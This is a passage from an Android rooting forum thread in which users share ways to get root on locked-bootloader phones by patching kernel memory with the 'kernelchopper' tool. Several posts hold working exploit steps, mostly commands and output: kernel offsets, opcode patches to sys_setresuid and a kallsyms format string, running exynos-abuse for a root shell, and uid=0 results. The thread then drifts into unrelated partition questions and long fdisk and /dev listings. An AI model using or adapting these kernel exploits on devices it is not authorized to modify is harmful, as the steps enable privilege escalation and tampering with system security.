that's that try to root the device with locked bootloader.
Click to expand...
Click to collapse
What's the version of the ROM you're running?
Rv16rc01 (Android 4.1.1)
I know there is a way to root it with an insecure boot.img, but that requires to unlock the bootloader.
It's just that there are people who want to root it without unlocking it, because there is no way to relock it.
nex86 said:
Rv16rc01 (Android 4.1.1)
Click to expand...
Click to collapse
OK, so the instruction to modify and its location are a bit different due to a combination of Acer building the kernel optimized for size and using (I believe) GCC 4.6. The instruction offset is 0x0006d258 and the instruction to modify is 0x0a000009.
These commands assume the kernel image starts at address 0x80008000. You can verify this using the command:
Code:
grep -Ei 'kernel (code|text)' /proc/iomem
The new set of commands and their output are:
Code:
[email protected]:/data/local/tmp $ ./kernelchopper m 80075258
0a000009
[email protected]:/data/local/tmp $ ./kernelchopper m 80075258 eaffffff
[email protected]:/data/local/tmp $ ./kernelchopper shell
[email protected]:/data/local/tmp # id
uid=0(root) [snipped]
This should give you root privileges and let you proceed with the rest of the rooting process.
Out of curiosity, did you try to just run motochopper? It will push over the superuser application and binary for you and doesn't require modifying the kernel memory by hand.
Rooted Galaxy Express I8730T
Hi,
Just want to share my success in using 'kernelchopper' for Galaxy Express.
Following are information about the address location
./kernelchopper m 802806ec ea00000a
and files that I was able to copied over
/data/local/tmp/busybox mount -o remount,rw /system
/data/local/tmp/busybox mv /data/local/tmp/su /system/xbin/su
/data/local/tmp/busybox mv /data/local/tmp/Superuser.apk /system/app/Superuser.apk
/data/local/tmp/busybox cp /data/local/tmp/busybox /system/xbin/busybox
chown 0.0 /system/xbin/su
chmod 06755 /system/xbin/su
chmod 655 /system/app/Superuser.apk
chmod 755 /system/xbin/busybox
I'm attaching few screenshots I took
Some more screenshots
Attaching few more pictures
Hi people,
First I have to say I admire your knowledge. I have a ZTE Blade G phone that hasn't been rooted yet. I figured the motocopper exploit might help, since the phone has MSM8225 SoC and it runs 4.1.2 android. It would not work. It actually wrote success once, but didn't actually get root. Now it just writes Bus Error. Now, I've poked a little with kernelchopper, but my /proc/iomem says quite a different thing from yours, presumably because the phone has just 512MB ram. If I try to dump any addresses above 80008000, it writes bus error. Here's the output:
Code:
00200000-0fbfffff : System RAM
00208000-00a48c6b : Kernel code
00a80000-00d33a23 : Kernel data
0fc01000-0fcfffff : System RAM
0fd01000-0fdfffff : System RAM
0fe01000-0fffffff : System RAM
20000000-296fffff : System RAM
a0000000-a001ffff : kgsl_3d0_reg_memory
a0000000-a001ffff : kgsl-3d0
a0200000-a0200fff : msm_serial_hs.0
a0300000-a0300fff : uartdm_resource
a0300000-a0300fff : msm_serial_hsl
I don't really know what this means, but I know in your program you don't allow addresses below 0x50000000, so it won't work. I figured I would kind of dump the whole kernel ram and search for similar commands. I don't even know how, but I figure it would be fun. So, can you point me in the right direction here? I'm a noob, but I want to learn. BTW, for my phone, there isn't any recovery image or I could disassemble, and the bootloader seems to be locked too.
fluxx_srb said:
I don't even know how, but I figure it would be fun. So, can you point me in the right direction here? I'm a noob, but I want to learn.
Click to expand...
Click to collapse
Hi fluxx_srb,
I can have a go at walking you through this if you'd like.
The prerequisites are: a LInux system with an ARM cross-compilation setup, the Linux kernel for your device (I usually get this from the firmware package provided by the OEM), and a copy of the kernel source used for the device (again, from the OEM).
Once you've got all these in place, then we can move on the technical nitty-gritty.
tried it, but it always crashes with android itself when read/write memory.
i have sony walkman nw-f807 (tegra 2 with 512mb ram) which isnt rooted yet, i've tried myself with some exploits like perf_events and diaggetroot, but didnt work.
Code:
00000000-163fffff : System RAM
0003b000-006156f3 : Kernel text
00616000-007aaeef : Kernel data
16400000-164fffff : ram_console
16500000-167fffff : fbmem
50000000-50023fff : tegra_grhost
50000000-50023fff : tegra_grhost
54040000-5407ffff : tegra_grhost
54040000-5407ffff : mpe
54080000-540bffff : tegra_grhost
54080000-540bffff : vi
54100000-5413ffff : tegra_grhost
54100000-5413ffff : isp
54200000-5423ffff : regs
54200000-5423ffff : tegra_grhost
54200000-5423ffff : tegradc
54240000-5427ffff : tegra_grhost
58000000-59ffffff : gart
60005000-60005007 : tegra_wdt
60005000-60005007 : tegra_wdt
60006000-60006003 : tegra_wdt
60006000-60006003 : tegra_wdt
60010000-60010fff : tegra-aes
6001a000-6001dbff : tegra-aes
70000c00-70000c7f : tegra20-das
70000c00-70000c7f : tegra20-das
70002400-700025ff : tegra20-spdif
70002400-700025ff : tegra20-spdif
70002800-700028ff : tegra20-i2s.0
70002800-700028ff : tegra20-i2s
70002a00-70002aff : tegra20-i2s.1
70002a00-70002aff : tegra20-i2s
70006000-7000601f : serial
70006040-7000607f : tegra_uart.1
70006200-700062ff : tegra_uart.2
70006300-7000631f : serial
7000a000-7000a003 : tegra_pwm.0
7000a000-7000a003 : tegra_pwm
7000c000-7000c0ff : tegra-i2c.0
7000c000-7000c0ff : tegra-i2c
7000c400-7000c4ff : tegra-i2c.1
7000c400-7000c4ff : tegra-i2c
7000c500-7000c5ff : tegra-i2c.2
7000c500-7000c5ff : tegra-i2c
7000d000-7000d1ff : tegra-i2c.3
7000d000-7000d1ff : tegra-i2c
7000d800-7000d9ff : spi_tegra.2
7000d800-7000d9ff : spi_tegra.2
7000e200-7000e2ff : tegra-kbc
7000e200-7000e2ff : tegra-kbc
7000f000-7000f3ff : mc
c5000000-c5003fff : fsl-tegra-udc
c5000000-c5003fff : tegra-otg
c5000000-c5003fff : fsl-tegra-udc
c8000000-c80001ff : sdhci-tegra.0
c8000000-c80001ff : mmc1
c8000600-c80007ff : sdhci-tegra.3
c8000600-c80007ff : mmc0
didn't work on my "STILL UNROOTABLE" Nec 101T....
Rooting without bootloader unlock
Just rooted my Android without unlocking !!
fluxx_srb said:
my /proc/iomem says quite a different thing from yours, presumably because the phone has just 512MB ram. If I try to dump any addresses above 80008000, it writes bus error. Here's the output:
Code:
00200000-0fbfffff : System RAM
00208000-00a48c6b : Kernel code
00a80000-00d33a23 : Kernel data
Click to expand...
Click to collapse
becomingx said:
The prerequisites are: a Linux system with an ARM cross-compilation setup, the Linux kernel for your device (I usually get this from the firmware package provided by the OEM), and a copy of the kernel source used for the device (again, from the OEM)
Click to expand...
Click to collapse
Hello to all, I just got root on padfone 2 without unlocking and without these prerequisites. I used adt-bundle-linux-x86-20130729, grep and a compiler (try terminal IDE, or use gentooandroid.sourceforge.net ; if you trust the binaries attached to this message you do not need any compiler), then kernelchopper, then applied manually the end of exynos-abuse.
STEP 0: You may apply this on any Android system on your own risks. If your output of any instruction is not exactly as shown here, you should adapt following instructions accordingly (following color codes, and counting underlined words in hexadecimal notation), or better quit. If you do not get exactly all the outputs I colored here in red, you should QUIT or change previous instructions. If you have no internal microSD, I suggest to you to first chdir a directory of you computer which can host one file of size >4Gb (3898777809 bytes for my padfone 2, the day I bought it).
STEP 1: finding s_show->seq_printf format string found at: 0x80c281c6.
We first use adb to put all attached files (unzipped) in /data/data/com.spartacusrex.spartacuside/adb.
Code:
script backup_before_installing_su_to_disk
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/busybox /data/.tmp/grep
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/kernelchopper /data/.tmp
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/exynos-abuse-static /data/.tmp
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb shell
cd /data/.tmp
./grep Kernel /proc/iomem
[COLOR="RoyalBlue"]80208000[/COLOR]-80d9e39f : Kernel code
80f04000-8128184b : Kernel data
./kernelchopper d [COLOR="RoyalBlue"]80208000[/COLOR] c00000 | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 70 4b 20 25 63 20 25 73 0a 00\|: 4b 20 25 63 20 25 73 0a 00\|: 20 25 63 20 25 73 0a 00\|: 25 63 20 25 73 0a 00\|: 63 20 25 73 0a 00\|25 70 4b 20 25 63 20 25 73 0a $\|25 70 4b 20 25 63 20 25 73 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 $\|25 70 4b 20 25 63 $' | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 20 25 73 0a 00\|: 25 73 0a 00\|: 73 0a 00\|: 0a 00\|: 00\|25 70 4b 20 25 $\|25 70 4b 20 $\|25 70 4b $\|25 70 4b $\|25 70 $\|25 $'
[COLOR="Green"]80c281c[/COLOR]0: 5b 25 73 5d 0a 00 25 70 4b 20 25 63 20 25 73 0a
80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f
./kernelchopper d [COLOR="Green"]80c281c[/COLOR]0 20
80c281c0: [U]5b 25 73 5d 0a 00[/U] 25 70 4b 20 25 63 20 25 73 0a
80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f
./kernelchopper d [COLOR="Green"]80c281c[/COLOR][U]6[/U] b
[COLOR="Olive"]80c281c6[/COLOR]: [COLOR="Red"]25 70 4b 20 25 63 20 25 73 0a 00[/COLOR]
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
[COLOR="Red"]204b7025[/COLOR]
./grep sys_setresuid /proc/kallsyms
00000000 T sys_setresuid
00000000 T sys_setresuid16
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR] 20207025
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
[COLOR="Red"]20207025[/COLOR]
./grep sys_setresuid /proc/kallsyms
c[COLOR="SandyBrown"]00856f0[/COLOR] T sys_setresuid
c00b7318 T sys_setresuid16
Notice that /proc/kallsyms now gives offsets instead of 00000000.
STEP 2: patching sys_setresuid, applying manually exynos-abuse.c (found at 0x802856f0, which is 0x00856f0 plus 80208000). You should replace the underlined lone 8 by the number of bytes underlined, before the 00 00 50 e3 ...
Code:
./kernelchopper d [COLOR="YellowGreen"]802856f0[/COLOR] 80 | ./grep '00 00 50 e3\|20 00 00 ea'
[COLOR="Purple"]8028572[/COLOR]0: [U]04 72 93 e5 a7 da ff eb[/U] 00 00 50 e3 20 00 00 ea
./kernelchopper d [COLOR="Purple"]8028572[/COLOR][U]8[/U] 8
[COLOR="MediumTurquoise"]80285728[/COLOR]: [COLOR="Red"]00 00 50 e3 20 00 00 ea[/COLOR]
./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR]
[COLOR="Red"]e3500000[/COLOR]
./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR] e3500001
STEP 3: getting a root shell.
Code:
./exynos-abuse-static
[email protected]:/data/.tmp # /system/bin/id
uid=[COLOR="Red"]0[/COLOR](root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)
And you are root until end of connexion by adb. I strongly suggest to you to make the first true backup, to have a chance to restore phone to current state. With an internal microSD, you can type:
Code:
cp grep bzip2
./bzip2 -c < /dev/block/mmcblk0 > /Removable/Storage1/backup.bz2
To exploit this file, you will need kpartx.
If you have NO internal microSD, try a network drive; or if you can wait a full day (like me), you can do:
Code:
cp grep bzip2
cp grep uuencode
./bzip2 -c < /dev/block/mmcblk0 | ./uuencode -
The result will be shown on current window, so you have better hide it once it works. I had a performance of 400kb/s with hidden xterm.
You will then be able to recover its content with
Code:
LANG= grep -aA99999999 '^begin 666 -' < backup_before_installing_su_to_diskreal | uudecode -o backup.bz2
You may now install /system/xbin/su, eventually renamed to avoid exposing su to malware.
Here is my firmware (see attached pic).
Code:
Android version: 4.1.1, 3.4.0-perf-g64..., M3.13.30-A68_101034 [Jan 22 2013]
If you need help, please type up-arrow repeatedly, down-arrow repeatedly, then provide the file backup_before_installing_su_to_diskreal.
Credits to alephzain for original version of exynos-abuse.c, SW686 for kernelchopper.c, spartacusrex for Google-Play's Terminal IDE.
I now use attached shell script with . ./root_padfone.sh (notice the dot) ; please update the script if you needed to change anything in step 1, or 2.
Code:
[email protected] ~/root_padfone $ . ./root_padfone.sh
[email protected]:/data/data/com.spartacusrex.spartacuside/adb/root_padfone # exit
e3500000
[email protected] ~/root_padfone $
In the images, you see I use a ssh server to share the adb priviledges.
closed source
it seems both MotoChopper as well as framaroot are closed source rooters, so using them involves a certain risk...
mai77 said:
it seems both MotoChopper as well as framaroot are closed source rooters, so using them involves a certain risk...
Click to expand...
Click to collapse
This is why I invented the more open-source method that is displayed three posts above.
xdej said:
Just rooted my Android without unlocking !!
Click to expand...
Click to collapse
I just updated this post, any busybox you trust will work, Terminal IDE is no more needed.
I also suggested to make backups with instructions on how to make them.
Has anyone done this on a Galaxy Nexus running 4.2.2? I've spent a bunch of time searching and this seems like the only hope for rooting via an exploit on the GNex. I actually do kernel and android development but from my understanding of the posts here I need to get the address of certain kernel functions to apply this to my device. I'm running the stock build, can anyone help me with this or walk me through how to get the required information to use kernelchopper?
Thanks.
The best guide I've followed from xda this year, period.
I've rooted an a13 tablet with android 4.1.2 (it was easy as motochopper already works on it).
Tried on a 4.2.2 no-name tablet and did not manage to make it work for now, but I will try harder
I am newbie on android , and I just though of few question after reading some of the partition. http://www.addictivetips.com/mobile...plained-boot-system-recovery-data-cache-misc/
But what I do not understand is , are those partition a folder or real partition ?
As for commonly known , Windows partition consist of either 4 Primary partition or 3 primary 1 extended partition.
-Master boot record partition
-Primary (max 4 , min 0)
-Extended partition ( multiple logical partition )
What about android ? Let me know whether I am wrong
-/boot ( equal to MBR )
-/system /recovery /data /cache /misc (1 parimary partition with different path like /system32 , /Programs files /My Document and etc)
-/SDcard0 (Extended partition )
External SDcard = something like external hard disk.
Overall any android Device have 2 partition ,1 Primary (/system /recovery /data /cache /misc) and 1 Extended logical ( SDcard0)
Please correct me if I'm getting the idea wrong.
Any expert here able to clear out or confirm them ?
Kindly let me know the correct answer.
I am just a starter
It's a hard question ?
Even for a dev too ?
xdadfm said:
I am newbie on android , and I just though of few question after reading some of the partition. http://www.addictivetips.com/mobile...plained-boot-system-recovery-data-cache-misc/
But what I do not understand is , are those partition a folder or real partition ?
As for commonly known , Windows partition consist of either 4 Primary partition or 3 primary 1 extended partition.
-Master boot record partition
-Primary (max 4 , min 0)
-Extended partition ( multiple logical partition )
What about android ? Let me know whether I am wrong
-/boot ( equal to MBR )
-/system /recovery /data /cache /misc (1 parimary partition with different path like /system32 , /Programs files /My Document and etc)
-/SDcard0 (Extended partition )
External SDcard = something like external hard disk.
Overall any android Device have 2 partition ,1 Primary (/system /recovery /data /cache /misc) and 1 Extended logical ( SDcard0)
Please correct me if I'm getting the idea wrong.
Click to expand...
Click to collapse
I'm not an expert but as far as I know :
android has 5 partitions ..
/boot
/system
/recovery
/data
/cache
and there Is the SD card partition
/sdcard
Boot: Contains Kernal and Ramdisk ,, Without This Partition The Device Simply Won't Boot
System: Contains The Entire Android System,Android User Interface and System Apps
Recovery: Another Booting Option For Performing Advanced Recovery And maintenance Operations
Data: Contains The User Data Such As Contacts,Messages ... etc
Cache: Where Android Stores Applications Components and Cache
Hope It Helps
falf123 said:
I'm not an expert but as far as I know :
android has 5 partitions ..
/boot
/system
/recovery
/data
/cache
and there Is the SD card partition
/sdcard
Boot: Contains Kernal and Ramdisk ,, Without This Partition The Device Simply Won't Boot
System: Contains The Entire Android System,Android User Interface and System Apps
Recovery: Another Booting Option For Performing Advanced Recovery And maintenance Operations
Data: Contains The User Data Such As Contacts,Messages ... etc
Cache: Where Android Stores Applications Components and Cache
Hope It Helps
Click to expand...
Click to collapse
The partition is actually real partition like what we did to a hardisk ?
Possible to have 5 partition on a Flash drive ? as for window , maximum is 4 primary partition .
The question you are asking requires a bit of an explanation, but I will do my best (forgive me if I gloss over some things).
When a windows PC boots up, it initializes CMOS which searches for the hard drive or other boot device based on the order set up in BIOS/CMOS. Once it finds a storage device it attempts to boot that device (i.e. hdd=hard disk drive, eMMC=electronic MultiMedia Card). There is a bit set somewhere that determines what type of filing system is on the drive. In linux, you can see the partition table by using fdisk (devices are located in the /dev folder and look like /dev/sda or /dev/mmcblk0, depending on the type and how many there are). Therefore the command would be 'fdisk /dev/sda' and let's take a look at that...
Welcome to fdisk (util-linux 2.32.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Command (m for help): p
Disk /dev/sda: 931.5 GiB, 1000204886016 bytes, 1953525168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: gpt
Disk identifier: xxxxxxxxxx (omitted)
Device Start End Sectors Size Type
/dev/sda1 2048 2050047 2048000 1000M Windows recovery environment
/dev/sda2 2050048 2582527 532480 260M EFI System
/dev/sda3 2582528 4630527 2048000 1000M Windows recovery environment
/dev/sda4 4630528 4892671 262144 128M Microsoft reserved
/dev/sda5 4892672 1619314687 1614422016 769.8G Microsoft basic data
/dev/sda6 1619314688 1845840078 226525391 108G Microsoft basic data
/dev/sda7 1845840094 1853995007 8154914 3.9G Microsoft basic data
/dev/sda8 1853995008 1858228223 4233216 2G Windows recovery environment
/dev/sda9 1858228224 1859151871 923648 451M Windows recovery environment
/dev/sda10 1859151872 1911580671 52428800 25G Microsoft basic data
/dev/sda11 1911580672 1953523711 41943040 20G Windows recovery environment
As you can see, my device "sda" has 11 partitions. 1,3,8,9,11 are all recovery partitions, 2 is an EFI partition, etc. A short list of possibilities...
1 EFI System C12A7328-F81F-11D2-BA4B-00A0C93EC93B
2 MBR partition scheme 024DEE41-33E7-11D3-9D69-0008C781F39F
3 Intel Fast Flash D3BFE2DE-3DAF-11DF-BA40-E3A556D89593
4 BIOS boot 21686148-6449-6E6F-744E-656564454649
5 Sony boot partition F4019732-066E-4E12-8273-346C5641494F
6 Lenovo boot partition BFBFAFE7-A34F-448A-9A5B-6213EB736C22
7 PowerPC PReP boot 9E1A2D38-C612-4316-AA26-8B49521E5A8B
8 ONIE boot 7412F7D5-A156-4B13-81DC-867174929325
9 ONIE config D4E6E2CD-4469-46F3-B5CB-1BFF57AFC149
10 Microsoft reserved E3C9E316-0B5C-4DB8-817D-F92DF00215AE
11 Microsoft basic data EBD0A0A2-B9E5-4433-87C0-68B6B72699C7
12 Microsoft LDM metadata 5808C8AA-7E8F-42E0-85D2-E1E90434CFB3
13 Microsoft LDM data AF9B60A0-1431-4F62-BC68-3311714A69AD
14 Windows recovery environment DE94BBA4-06D1-4D40-A16A-BFD50179D6AC
15 IBM General Parallel Fs 37AFFC90-EF7D-4E96-91C3-2D7AE055B174
16 Microsoft Storage Spaces E75CAF8F-F680-4CEE-AFA3-B001E56EFC2D
17 HP-UX data 75894C1E-3AEB-11D3-B7C1-7B03A0000000
18 HP-UX service E2A1E728-32E3-11D6-A682-7B03A0000000
19 Linux swap 0657FD6D-A4AB-43C4-84E5-0933C84B4F4F
20 Linux filesystem 0FC63DAF-8483-4772-8E79-3D69D8477DE4
21 Linux server data 3B8F8425-20E0-4F3B-907F-1A25A76F98E8
22 Linux root (x86) 44479540-F297-41B2-9AF7-D131D5F0458A
23 Linux root (ARM) 69DAD710-2CE4-4E3C-B16C-21A1D49ABED3
24 Linux root (x86-64) 4F68BCE3-E8CD-4DB1-96E7-FBCAF984B709
Each partition stores data differently. Windows 95 all the way through Windows ME uses FAT (File Allocation Table) and doesn't use user permissions on files. NTFS (Windows NT File System) is the updated version of FAT which had its evolution and caveats. NTFS is the Windows standard now because it 1) can handle file systems larger than 2GB and 2) has the ability to set user file permissions so only the owner can read/write/execute certain files. Android uses ext4, which is a linux file system. The difference is that linux doesn't have drive letters. In windows, C:\ is your normal hard drive, A:\ is a floppy drive, and all disk devices (Thumb drive, CD ROM drive, tape backup, etc) have a letter and are almost always "mounted". In linux... the "root" is / and every device is either mounted as a subfolder or listed in /dev. So if I do a ls /dev I get this as a result (ls is the same command as dir for windows/dos):
ls -l
total 0
crw-r--r-- 1 root root 10, 235 Aug 27 05:17 autofs
drwxr-xr-x 2 root root 340 Aug 27 05:34 block
drwxr-xr-x 2 root root 60 Aug 27 05:34 bsg
crw------- 1 root root 10, 234 Aug 27 05:17 btrfs-control
drwxr-xr-x 3 root root 60 Aug 26 22:17 bus
drwxr-xr-x 2 root root 3580 Aug 27 14:00 char
crw------- 1 root root 5, 1 Aug 27 05:17 console
lrwxrwxrwx 1 root root 11 Aug 26 22:17 core -> /proc/kcore
drwxr-xr-x 2 root root 60 Aug 26 22:17 cpu
crw------- 1 root root 10, 62 Aug 27 05:17 cpu_dma_latency
crw------- 1 root root 10, 203 Aug 27 05:17 cuse
drwxr-xr-x 8 root root 160 Aug 26 22:17 disk
drwxr-xr-x 3 root root 100 Aug 27 05:17 dri
crw------- 1 root root 245, 0 Aug 27 05:17 drm_dp_aux0
crw-rw---- 1 root video 29, 0 Aug 27 05:17 fb0
lrwxrwxrwx 1 root root 13 Aug 26 22:17 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Aug 27 05:17 full
crw-rw-rw- 1 root root 10, 229 Aug 27 05:17 fuse
crw------- 1 root root 247, 0 Aug 27 05:17 hidraw0
crw------- 1 root root 247, 1 Aug 27 05:17 hidraw1
crw------- 1 root root 10, 228 Aug 27 05:17 hpet
drwxr-xr-x 2 root root 0 Aug 27 05:17 hugepages
lrwxrwxrwx 1 root root 12 Aug 27 05:17 initctl -> /run/initctl
drwxr-xr-x 4 root root 580 Aug 27 05:44 input
crw-r--r-- 1 root root 1, 11 Aug 27 05:17 kmsg
crw-rw----+ 1 root kvm 10, 232 Aug 27 05:17 kvm
lrwxrwxrwx 1 root root 28 Aug 27 05:17 log -> /run/systemd/journal/dev-log
crw-rw---- 1 root disk 10, 237 Aug 27 05:17 loop-control
drwxr-xr-x 2 root root 60 Aug 27 05:17 mapper
crw-rw---- 1 root video 243, 0 Aug 27 05:17 media0
crw-rw---- 1 root video 243, 1 Aug 27 05:42 media1
crw-rw---- 1 root video 243, 2 Aug 27 05:43 media2
crw-rw---- 1 root video 243, 3 Aug 27 05:44 media3
crw-rw---- 1 root video 243, 4 Aug 27 05:44 media4
crw-rw---- 1 root video 243, 5 Aug 27 05:44 media5
crw-rw---- 1 root video 243, 6 Aug 27 05:44 media6
crw-rw---- 1 root video 243, 7 Aug 27 05:44 media7
crw------- 1 root root 244, 0 Aug 27 05:17 mei0
crw-r----- 1 root kmem 1, 1 Aug 27 05:17 mem
crw------- 1 root root 10, 59 Aug 27 05:17 memory_bandwidth
brw-rw---- 1 root disk 179, 0 Aug 27 05:17 mmcblk0
brw-rw---- 1 root disk 179, 1 Aug 27 05:17 mmcblk0p1
brw-rw---- 1 root disk 179, 2 Aug 27 05:17 mmcblk0p2
drwxrwxrwt 2 root root 40 Aug 26 22:17 mqueue
drwxr-xr-x 2 root root 60 Aug 27 05:17 net
crw------- 1 root root 10, 61 Aug 27 05:17 network_latency
crw------- 1 root root 10, 60 Aug 27 05:17 network_throughput
crw-rw-rw- 1 root root 1, 3 Aug 27 05:17 null
crw-r----- 1 root kmem 1, 4 Aug 27 05:17 port
crw------- 1 root root 108, 0 Aug 27 05:17 ppp
crw------- 1 root root 10, 1 Aug 27 05:17 psaux
crw-rw-rw- 1 root tty 5, 2 Aug 27 14:05 ptmx
drwxr-xr-x 2 root root 0 Aug 26 22:17 pts
crw-rw-rw- 1 root root 1, 8 Aug 27 05:17 random
crw-rw-r--+ 1 root netdev 10, 58 Aug 27 05:17 rfkill
lrwxrwxrwx 1 root root 4 Aug 27 05:17 rtc -> rtc0
crw------- 1 root root 252, 0 Aug 27 05:17 rtc0
brw-rw---- 1 root disk 8, 0 Aug 27 05:17 sda
brw-rw---- 1 root disk 8, 1 Aug 27 05:17 sda1
brw-rw---- 1 root disk 8, 10 Aug 27 05:17 sda10
brw-rw---- 1 root disk 8, 11 Aug 27 05:17 sda11
brw-rw---- 1 root disk 8, 2 Aug 27 05:17 sda2
brw-rw---- 1 root disk 8, 3 Aug 27 05:17 sda3
brw-rw---- 1 root disk 8, 4 Aug 27 05:17 sda4
brw-rw---- 1 root disk 8, 5 Aug 27 05:17 sda5
brw-rw---- 1 root disk 8, 6 Aug 27 05:17 sda6
brw-rw---- 1 root disk 8, 7 Aug 27 05:17 sda7
brw-rw---- 1 root disk 8, 8 Aug 27 05:17 sda8
brw-rw---- 1 root disk 8, 9 Aug 27 05:17 sda9
crw-rw---- 1 root disk 21, 0 Aug 27 05:17 sg0
drwxrwxrwt 2 root root 40 Aug 27 14:05 shm
crw------- 1 root root 10, 231 Aug 27 05:17 snapshot
drwxr-xr-x 3 root root 220 Aug 27 06:31 snd
lrwxrwxrwx 1 root root 15 Aug 26 22:17 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 Aug 26 22:17 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 Aug 26 22:17 stdout -> /proc/self/fd/1
crw-rw-rw- 1 root tty 5, 0 Aug 27 13:16 tty
crw--w---- 1 root tty 4, 0 Aug 27 05:17 tty0
crw--w---- 1 root tty 4, 1 Aug 27 05:18 tty1
crw--w---- 1 root tty 4, 10 Aug 27 05:17 tty10
crw--w---- 1 root tty 4, 11 Aug 27 05:17 tty11
crw--w---- 1 root tty 4, 12 Aug 27 05:17 tty12
crw--w---- 1 root tty 4, 13 Aug 27 05:17 tty13
crw--w---- 1 root tty 4, 14 Aug 27 05:17 tty14
crw--w---- 1 root tty 4, 15 Aug 27 05:17 tty15
crw--w---- 1 root tty 4, 16 Aug 27 05:17 tty16
crw--w---- 1 root tty 4, 17 Aug 27 05:17 tty17
crw--w---- 1 root tty 4, 18 Aug 27 05:17 tty18
crw--w---- 1 root tty 4, 19 Aug 27 05:17 tty19
crw--w---- 1 root tty 4, 2 Aug 27 05:17 tty2
crw--w---- 1 root tty 4, 20 Aug 27 05:17 tty20
crw--w---- 1 root tty 4, 21 Aug 27 05:17 tty21
crw--w---- 1 root tty 4, 22 Aug 27 05:17 tty22
crw--w---- 1 root tty 4, 23 Aug 27 05:17 tty23
crw--w---- 1 root tty 4, 24 Aug 27 05:17 tty24
crw--w---- 1 root tty 4, 25 Aug 27 05:17 tty25
crw--w---- 1 root tty 4, 26 Aug 27 05:17 tty26
crw--w---- 1 root tty 4, 27 Aug 27 05:17 tty27
crw--w---- 1 root tty 4, 28 Aug 27 05:17 tty28
crw--w---- 1 root tty 4, 29 Aug 27 05:17 tty29
crw--w---- 1 root tty 4, 3 Aug 27 05:17 tty3
crw--w---- 1 root tty 4, 30 Aug 27 05:17 tty30
crw--w---- 1 root tty 4, 31 Aug 27 05:17 tty31
crw--w---- 1 root tty 4, 32 Aug 27 05:17 tty32
crw--w---- 1 root tty 4, 33 Aug 27 05:17 tty33
crw--w---- 1 root tty 4, 34 Aug 27 05:17 tty34
crw--w---- 1 root tty 4, 35 Aug 27 05:17 tty35
crw--w---- 1 root tty 4, 36 Aug 27 05:17 tty36
crw--w---- 1 root tty 4, 37 Aug 27 05:17 tty37
crw--w---- 1 root tty 4, 38 Aug 27 05:17 tty38
crw--w---- 1 root tty 4, 39 Aug 27 05:17 tty39
crw--w---- 1 root tty 4, 4 Aug 27 05:17 tty4
crw--w---- 1 root tty 4, 40 Aug 27 05:17 tty40
crw--w---- 1 root tty 4, 41 Aug 27 05:17 tty41
crw--w---- 1 root tty 4, 42 Aug 27 05:17 tty42
crw--w---- 1 root tty 4, 43 Aug 27 05:17 tty43
crw--w---- 1 root tty 4, 44 Aug 27 05:17 tty44
crw--w---- 1 root tty 4, 45 Aug 27 05:17 tty45
crw--w---- 1 root tty 4, 46 Aug 27 05:17 tty46
crw--w---- 1 root tty 4, 47 Aug 27 05:17 tty47
crw--w---- 1 root tty 4, 48 Aug 27 05:17 tty48
crw--w---- 1 root tty 4, 49 Aug 27 05:17 tty49
crw--w---- 1 root tty 4, 5 Aug 27 05:17 tty5
crw--w---- 1 root tty 4, 50 Aug 27 05:17 tty50
crw--w---- 1 root tty 4, 51 Aug 27 05:17 tty51
crw--w---- 1 root tty 4, 52 Aug 27 05:17 tty52
crw--w---- 1 root tty 4, 53 Aug 27 05:17 tty53
crw--w---- 1 root tty 4, 54 Aug 27 05:17 tty54
crw--w---- 1 root tty 4, 55 Aug 27 05:17 tty55
crw--w---- 1 root tty 4, 56 Aug 27 05:17 tty56
crw--w---- 1 root tty 4, 57 Aug 27 05:17 tty57
crw--w---- 1 root tty 4, 58 Aug 27 05:17 tty58
crw--w---- 1 root tty 4, 59 Aug 27 05:17 tty59
crw--w---- 1 root tty 4, 6 Aug 27 05:17 tty6
crw--w---- 1 root tty 4, 60 Aug 27 05:17 tty60
crw--w---- 1 root tty 4, 61 Aug 27 05:17 tty61
crw--w---- 1 root tty 4, 62 Aug 27 05:17 tty62
crw--w---- 1 root tty 4, 63 Aug 27 05:17 tty63
crw--w---- 1 root tty 4, 7 Aug 27 05:18 tty7
crw--w---- 1 root tty 4, 8 Aug 27 05:17 tty8
crw--w---- 1 root tty 4, 9 Aug 27 05:17 tty9
crw-rw---- 1 root dialout 4, 64 Aug 27 05:17 ttyS0
crw-rw---- 1 root dialout 4, 65 Aug 27 05:17 ttyS1
crw-rw---- 1 root dialout 4, 66 Aug 27 05:17 ttyS2
crw-rw---- 1 root dialout 4, 67 Aug 27 05:17 ttyS3
crw------- 1 root root 10, 239 Aug 27 05:17 uhid
crw------- 1 root root 10, 223 Aug 27 05:17 uinput
crw-rw-rw- 1 root root 1, 9 Aug 27 05:17 urandom
drwxr-xr-x 2 root root 80 Aug 27 09:50 usb
drwxr-xr-x 4 root root 80 Aug 27 05:17 v4l
crw------- 1 root root 10, 57 Aug 27 05:18 vboxdrv
crw------- 1 root root 10, 56 Aug 27 05:18 vboxdrvu
crw------- 1 root root 10, 55 Aug 27 05:18 vboxnetctl
drwxr-x--- 4 root vboxusers 80 Aug 27 05:17 vboxusb
